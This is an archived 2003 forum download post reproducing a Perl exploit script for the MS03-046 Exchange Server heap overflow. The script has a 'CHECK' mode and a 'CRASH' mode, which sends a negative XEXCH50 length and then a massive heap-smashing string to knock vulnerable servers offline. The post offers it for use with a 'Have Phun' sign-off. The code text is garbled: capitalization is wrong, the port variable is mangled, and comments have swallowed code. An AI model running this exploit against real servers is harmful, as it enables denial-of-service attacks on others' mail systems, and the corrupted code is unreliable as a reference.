Exchangeheapoverflow

Full Version: Exchangeheapoverflow_ms03-046.pl

GovernmentSecurity.org > The Archives > Public Downloads

wicked

Nov 18 2003, 11:35 PM

ExchangeHeapOverflow_MS03-046.pl

Submits the time: 2003-10-23
Submits the user:Dav1d
Tool classification: Attack procedure
Movement platform: Windows
Tool size: 2,004 Bytes
Document MD5: 8279f41d122bbb9a3cf9394037f005cf
Tool origin: Metasploit.com

This exploit is for Vulnerability in Exchange Server Could Allow Arbitrary Code Execution (MS03-046), It causes a denial of service on vulnerable servers.

Author: H D Moore E-mail: Hdm@secureaustin.com

Family of the security: :Dav1d
Http://www.dav1d.org

CODE

## # ms03-046.pl - hdm [ at ] metasploit.com ##

Use strict; Use IO::Socket;

My $host = shift () || usage (); My $mode = shift () || "CHECK"; My
# $$PP Rt = 25;

If (uc ($mode) eq "CHECK") {check ()} if (uc ($mode) eq "CRASH")
{crash ()}

Usage ();

Sub check {my $s = SMTP ($host, # $$PP Rt); If (! $s) {print "[ * ]
Error establishing connection to SMTP service. \n"; Exit (0); }

Print $s "XEXCH50 2 2\r\n"; My $res = <$s>; Close ($s);

# a patched server only allows XEXCH50 after NTLM authentication if
($res =~ /authentication/i) {print "[ * ] This server has been
patched or is not vulnerable. \n"; Exit (0); }

Print "[ * ] This system is vulnerable: $host:# $$PP Rt\n ";

Exit (0); }

Sub crash {my $s = SMTP ($host, # $$PP Rt); If (! $s)
{print "[ * ] Error establishing connection to SMTP service. \n"; Exit
(0); }

# the negative value allows us to overwrite random heap bits
print $s "XEXCH50 -1 2\r\n"; My $res = <$s>;

# a patched server only allows XEXCH50 after NTLM authentication if
($res =~ /authentication/i) {print "[ * ] This server has been
patched or is not vulnerable. \n"; Exit (0); }

Print "[ * ] Sending massive heap-smashing string... \n";
Print $s ("META" x 16,384);

# sometimes a second connection is required to trigger the crash $s =
SMTP ($host, # $$PP Rt);

Exit (0); }

Sub usage {print STDERR "Usage: $0 <host> [ CHECK|CRASH ] \n
"; Exit (0);

}

Sub SMTP {my ($host, # $$PP Rt) = @_; My $s =
IO::Socket::INET->new (PeerAddr => $host, PeerPort => # $$PP Rt,
Proto => "tcp") || return (undef);

My $r = <$s>; Return undef if! $r;

If ($r! ~ /Microsoft/) {chomp ($r); Print STDERR "[ * ] This does
not look like an exchange server: $r\n "; Return (undef); }

Print $s "HELO X\r\n"; $r = <$s>; Return undef if! $r;

Print $s "MAIL FROM: DoS\r\n "; $r = <$s>; Return undef if! $r;

Print $s "RCPT TO: Administrator\r\n "; $r = <$s>; Return undef if!
$r;

Return ($s); }

Have Phun...

Wkd..

Iam...lmao

.../

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.